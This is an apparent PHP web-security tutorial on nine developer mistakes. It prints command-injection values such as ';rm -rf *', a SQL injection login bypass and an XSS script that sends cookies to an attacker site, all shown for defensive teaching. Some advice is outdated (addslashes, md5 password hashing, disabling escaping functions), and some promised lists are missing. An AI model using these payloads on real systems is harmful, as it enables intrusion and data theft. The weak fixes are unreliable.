¤ Home » Internet » Web Security » Top 9 PHP Security Blunders

Top 9 PHP Security Blunders

PHP, along with MySQL database, is an ideal programming language platform for developing dynamic and interactive websites and web applications. It is easy to use and easy to deploy especially on a linux operating system, and is a robust programming language platform. 80% of the websites that you see on the web today are built on this platform. PHP has tremendous capabilities and even surpasses JAVA when it comes to building web based applications. So much so that most of the mission critical applications such as e-commerce and erp systems too are now built on PHP and MySQL platform.

However, like any other programming platform, PHP too is not free from security loopholes. A less experienced programmer may unknowingly introduce security holes in the web programs thereby creating entry points for hackers to creep in. As a website developer you need to take certain precautions while building PHP based websites and consciously design for security, so as to plug the security holes and build secure web applications.

In this article I will deal with some of the common security mistakes made by PHP developers. I will demonstrate how each mistake can be exploited causing security vulnerabilities, and will also explain how you can avoid such a mistake and make your website secure. Once these important security aspects are taken care, you can build very secure applications in PHP.

1. The lazy programmer not inclined to change

Always use the latest version of PHP

The most basic thumb rule for any good developer is to always work on the newest releases of software. New releases take care of known bugs and vulnerabilities in older releases and make the programming environment more secure thereby reducing the possibilities of making mistakes. For example, in the newer releases of PHP magic_quotes_gpc has been disabled. This has been a major source of SQL injection exploits. Hence the first rule of safety is to upgrade your PHP as soon as a new version arrives and tweak your codes to adapt to the new version. This is a continuous process which no sensible programmer should overlook.

2. Bad PHP configuration

Configure PHP for security

Bad PHP configuration can make your website vulnerable by increasing the attacker's advantage. The default php.ini configuration settings provided in a PHP installation may not be very secure. Especially when your website is hosted on a shared server, the hosting provider may loosely configure the system to allow for backward compatibility and greater flexibility so as to cater to a wider audience. It is imperative that you introduce your own specific configuration changes and avoid using certain PHP functions that are vulnerable to misuse by attackers. Nearly all hosting providers allow you to keep your own copy of php.ini under your hosting account, which you can configure to make php more restrictive, and override the liberal server wide settings.

Where should the custom php.ini file located?

The copy of your own php.ini file should be placed in the following location:

You may create a page that calls the phpinfo() function to list your php.ini variables and review their default values for insecure settings. Keep this page in a restricted place and do not allow public access to it. The output of phpinfo() contains information that a hacker may find useful in knowing your system's vulnerabilities.

The following are the entries that you must have in your own php.ini file.

display_errors = Off
display_startup_errors = Off
html_errors = Off
expose_php = Off
register_globals = Off
register_long_arrays = Off
register_argc_argv = Off
magic_quotes_gpc = Off
magic_quotes_runtime = Off
magic_quotes_sybase = Off
allow_url_fopen = Off
allow_url_include = Off

Explanation of the above directives

display_errors: With this directive set to Off, errors that occur during the execution of scripts will not be displayed as a part of the script output, and thus, will not be exposed to remote users. With some errors, the error message content may expose information about your script, web server, or database server that may be exploitable for hacking. Production sites should have this directive set to Off.

display_startup_errors: With this directive set to Off, errors that occur during PHP's startup sequence are not displayed. It is strongly recommended to keep this directive to Off.

html_errors: Disable the inclusion of HTML tags in error messages. Never use this feature in a production deployment as when set to On, error messages will be displayed with links to code sections that contain the error, thereby exposing your php source code.

disable_functions: This directive allows you to disable certain functions for security reasons. It receives a comma-separated list of function names.

expose_php: Decides whether PHP may expose the fact that it is installed on the server by adding its signature to the web server header. It is not a real security threat. However, it makes it possible to determine whether you use PHP on your server or not. Better to keep if Off.

register_globals: You should do your best to write your scripts so that they do not require register_globals to be On. Using form variables as globals can easily lead to possible security problems, if the code is not very well thought of.

register_long_arrays: Disables registration of the older (and deprecated) long predefined array variables (HTTP_GET_VARS, etc.). Instead, use the superglobals that were introduced in PHP 4.1.0. Disabling this would also help enhance performance.

register_argc_argv: This directive tells PHP whether to declare the argv & argc variables (that would contain the GET information). If you don't use these variables, you should turn it off for increased performance and security.

magic_quotes_gpc: This refers to magic quotes for incoming GET/POST/Cookie data. Disabling this will ensure that Input data is not automatically escaped with slashes before sending to SQL databases. Instead, you should use the database vendor specific escape string function on each input element you wish to send to a database.

magic_quotes_runtime: Magic quotes for runtime-generated data, e.g. data from SQL, from exec(), etc.

magic_quotes_sybase: Use Sybase-style magic quotes (escape ' with '' instead of \').

allow_url_fopen: Whether to allow the treatment of URLs (like http:// or ftp://) as files.

allow_url_include: Whether to allow include/require to open URLs (like http:// or ftp://) as files.

Some of the above directives are further explained as you read ahead.

3. Un-validated user inputs

Must validate all user inputs

A common PHP security flaw is not validating user inputs submitted via forms or as arguments in url strings. You must never trust data provided in online forms by users and site visitors. There is a good number of people sitting out there on the internet who have no other job than to keep attempting to damage others work. Un-validated or improperly validated input is one of the root causes of many of the exploits.

As an example, you might write the following code to allow a user to view a calendar that displays a specified month by calling the Linux/Unix cal command.

$month = $_GET['month']; 
$year = $_GET['year']; 
exec("cal $month $year", $result); 
foreach($result as $r) print "$r"; 

This code has a huge security hole, because the $_GET[month] and $_GET[year] variables are not validated in any way. The application works perfectly, as long as the specified month is a number between 1 and 12, and the year is provided as a proper four-digit year. However, a malicious user might append ;ls –la to the year value and thereby see a listing of your website's directory. An extremely malicious user could append ;rm -rf * to the year value and delete your entire website files.

The proper way to correct this is to ensure that the input you receive from the user is what you expect it to be. Do not use JavaScript validation for this. Such validation methods are easily worked around by an exploiter who creates their own form or disables javascript. You need to add PHP code to ensure that the month and year inputs are digits and only digits, as shown below.

$month = $_GET['month']; 
$year = $_GET['year']; 
if (!preg_match("/^[0-9]{1,2}$/", $month)) die("Bad month, please re-enter."); 
if (!preg_match("/^[0-9]{4}$/", $year)) die("Bad year, please re-enter."); 
exec("cal $month $year", $result); 
foreach ($result as $r) print "$r";  

This code can safely be used without concern that a user could provide input that would compromise your application, or the server running it. Regular expressions are a great tool for input validation. They can be difficult to grasp, but are extremely useful in this type of situation. You should always validate your user-provided data by rejecting anything other than the expected data. Never use the approach that you will accept anything except data you know to be harmful - this is a common source of security flaws. Sometimes, malicious users can get around this methodology, for example, by including bad input but obscuring it with null characters. Such input would pass your checks, but could still have a harmful effect.

You should be as restrictive as possible when you validate any form input. If some characters don't need to be included, you should either strip them out, or reject the input completely. A better approach would be to simply not use any of such vulnerable PHP functions such as exec. Here is a list of vulnerable PHP functions which should be simply disabled with an entry in php.ini file - exec, system, passthru, readfile, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, parse_ini_file, show_source.

4. Access control flaws

The access control vulnerability can be introduced in websites developed in any programming language, not necessarily PHP alone. Any website or web application makes use of several commonly included files that may contain your own functions, classes, and configuration parameters. Some of the configuration files may even contain vulnerable data such as your database access password. Such commonly included files should be kept under directories that have restricted access for the world.

You can place all such vulnerable files, which are not directly accessed by URL, in a separate directory and protect this directory with a suitable .htaccess file. The .htaccess file should have an entry deny from all.

Place the configuration files outside your web-accessible directory to further strengthen your application. Use the PHP include directive to include these files in your publicly accessible web page files. Always include using absolute path. Disable URL Include.

The following entries in your php.ini file will disable url include:

allow_url_fopen = Off
allow_url_include = Off 

Given below is a recommended directory structure. All function libraries, classes and configuration files can be kept in an includes directory. Always name these include files with a .php extension, so that even if all your protection is bypassed, the web server will parse the PHP code, and will not display it to the user. The public_html directory and all directories and sub-directories under it are the only directories whose files can be accessed directly by a URL.

      baseconfig.php (your passwords and usernames can be in this file)

Further, you should set your Apache directory indexes to index.php, and keep an index.php file in every directory that is accessible by URL. Set it to redirect to your main page if the directory should not be browse-able, such as an images directory or similar.

5. Remote code execution

The most widespread php security issue is remote code execution, mostly via file system calls. The root causes of this issue is insufficient validation of user input prior to dynamic file system calls, such as require, include, fopen(), etc.

Avoid code constructs like these -

$report = $_POST['report_name'];
include $report;


$username = $_POST['username'];
eval("echo $username"); 

Review existing codes for file operations such as include, require, fopen(), fsockopen(), file_get_contents() and eval() statements, to ensure that user input data is properly validated prior to their first use. Try to limit the use of dynamic inputs from users to vulnerable functions either directly or via wrappers. Use of direct command execution functions such as popen(), system() and ` (back-quote operator) allow attackers to remotely execute code on your system. As a best programming practice these functions should never be used.

6. SQL injection vulnerabilities

SQL injection is one of the oldest attacks against web applications. They allow for the exploitation of a database query and are often a result of input data validation flaws.

For example, you may have a php code that collects userid and password from the user and authenticates user by using a database query as demonstrated below:

$userid   = $_GET['userid'];
$password = $_GET['pwd'];

$link  = mysqli_connect($sqlHost,$sqlId,$sqlPass,$sqlDb);
$query = "SELECT * FROM users WHERE USR_ID='$userid' AND PWD='$password'";
$show  = mysqli_query($link,$query);
while($row = @mysqli_fetch_object($show)) 

What if the user provides a password value as ' OR '1? This will result in the sql query getting executed as -

$query = "SELECT * FROM users WHERE USR_ID='a-valid-userid' AND PWD='' OR '1'";

This will fetch the user record without validating the password, thus allowing the malicious user to gain entry into your application as a valid user. To protect against this vulnerability, you should escape dangerous characters such as single quote (') from the user-submitted value. The simplest way to do this would be to use PHP's addslashes() function, as demonstrated below.

$userid   = addslashes($_GET['userid']);
$password = addslashes($_GET['pwd']);

This would imply -

$query = "SELECT * FROM users WHERE USR_ID='a-valid-userid' AND PWD='\' OR \'1'";

Better still, you may disallow usage of single quote character in userid and password fields and introduce suitable codes in your backend form submission processor to remove presence of any single quote character before passing the values to a database query.

This is just one example of an sql injection. There can be several ways in which an attacker can inject query strings that may result in outputting of sensitive table records. You should always check user-provided data for presence of risky characters such as' " , ; ( ), and risky words such as concat (, database (), information _schema. These characters and words are often used in an sql injection attack. So if you strip them off from user inputs in which they are unnecessary and not expected to be present, you will have much less to worry about from this type of attack.

Many techniques have evolved over time to safeguard against sql injection. Below are some of the important ones.

7. Session ID vulnerability

Session ID hijacking can pose security issues with php based websites. PHP's session tracking component uses a unique Id for each user's session. An attacker usually gains access to this Id and hijacks the user's session, thereby gaining access to the user's account. Though session Id hijacking cannot be completely prevented, certain practices can help protect your system from severe damage.

For instance, even after a user has been validated and assigned a session Id, you should revalidate that user when he performs any sensitive operation such as changing his password. Never allow a session-validated user to enter a new password without also entering his old password. You should also avoid displaying truly sensitive data, such as credit card numbers, to a user who has only been validated by session Id.

Another protective measure is to generate a new session id after user logs in. Normally when an unlogged user is viewing your website, he is already assigned a session id. A hijacking user normally tries to set his session Id prior to login. This can be prevented if you assign a fresh session Id after successful login. A random id can be generated using either the session_regenerate_id() function or your own random id creator.

If your site is handling critical information such as credit card numbers, always use SSL connection for transmitting data between user's browser and your website server. This will help prevent session hijacking since due to encryption, the session Id cannot be sniffed.

All session variables are stored in a temporary file (known as the sessions file), which is usually stored in a less protected temporary directory of your web server. If your website is on a shared server, there is great likelihood that the session files (and hence the session variables) can be fetched by other account owners on the same server. To protect from this risk, store all sensitive data in a database record that is keyed to the session Id, rather than storing them as session variables. If it becomes absolutely necessary for you to store password in a session variable, do not store the password in clear text. Instead, use the md5() function to store the hash of the password.

8. Cross site scripting attacks

In a cross site scripting attack (known as XSS attack) the attacker embeds a client-end script such as javascript code, in data that is eventually displayed and therefore gets executed in the browsers of other site visitors. For instance, if your website has a blog section where site visitors could post comments to be read by others, an attacker (posing as a genuine reader) may post a comment in which he can embed a javascript code enclosed within <script> tags, as shown below.

  document.location = 'http://www.hackerssite.com/cookie.php?' + document.cookie; 

If not properly handled, this embedded script will get stored in your comments database table as part of the commented content. Eventually, it will be displayed on the blog's comments page. The embedded script will remain hidden when the comment is displayed. However, every time a reader opens the page, it would reload the page to a site controlled by the attacker, pass the victim visitor's cookie and session information to the attacker's server, and thereafter reload the comment page as though nothing happened. The attacker would thus be able to collect cookie and session information of other site visitors, and use this data in a session hijacking or other attack on your site.

To prevent this type of attack, you need to take care not to display user-submitted content as it is, without any validation checks. One way of protecting against <script> insertions would be to escape the characters that make up html syntax (specially characters like < and >) to corresponding html character entities (&lt; and &gt;), so that the submitted data is treated as plain text for display purposes. PHP's htmlspecialchars() function can be used for this purpose. A better way would be to validate such message submissions at the submission stage itself and not accept content that have such unacceptable characters embedded in it. You may use preg_match to check for inclusion of harmful tags such as <script> and either strip them off or not allow such submissions.

9. Accidental exposure of php source code

Developers often have a tendency to save a copy of the old PHP files with a .bak or .old or .php_old extension, every time they make some major changes to the code. This is a very dangerous practice and can expose your backed up code.

Never make a backup of a php files in your web-exposed directory by adding an extension to the filename other than .php. Depending on the web server you use, the PHP code in the file will not be parsed by the web server, and may be output as a source to a user who stumbles upon a URL to the backup file. If that file contained passwords or other sensitive information, that information would be readable. It could even end up being indexed by Google and other search engines if the search engine bot stumbled upon it while indexing the website. Renaming files to have a .bak.php extension is safer. The best practice would be to simply not store any file on the server that is no longer in use. Keep them in your own local offline hard disk.

I hope the above guidelines would enable you to revisit your website codes and strengthen them for security.


comments powered by Disqus

Buy Domain & Hosting from the most reliable and trusted company - WebServicesWorldWide.com.

Looking to build a website?
Launch a 20 page website in 1 day at only Rs.200/month or US$ 3.19/month. Hosting & Email included.

About the Author

Rajeev Kumar
CEO, Computer Solutions
Jamshedpur, India

Rajeev Kumar is the primary author of How2Lab. He is a B.Tech. from IIT Kanpur with several years of experience in IT education and Software development. He has taught a wide spectrum of people including fresh young talents, students of XLRI, industry professionals, and govt. officials.

Rajeev has founded Computer Solutions & WebServicesWorldwide.com, and has hands-on experience of building variety of web applications and portals, that include - SAAS based ERP & e-commerce systems, independent B2B, B2C, Matrimonial & Job portals, and many more.

Copyright © How2Lab.com. All rights reserved.

Refer a friend | Sitemap | Disclaimer | Privacy Policy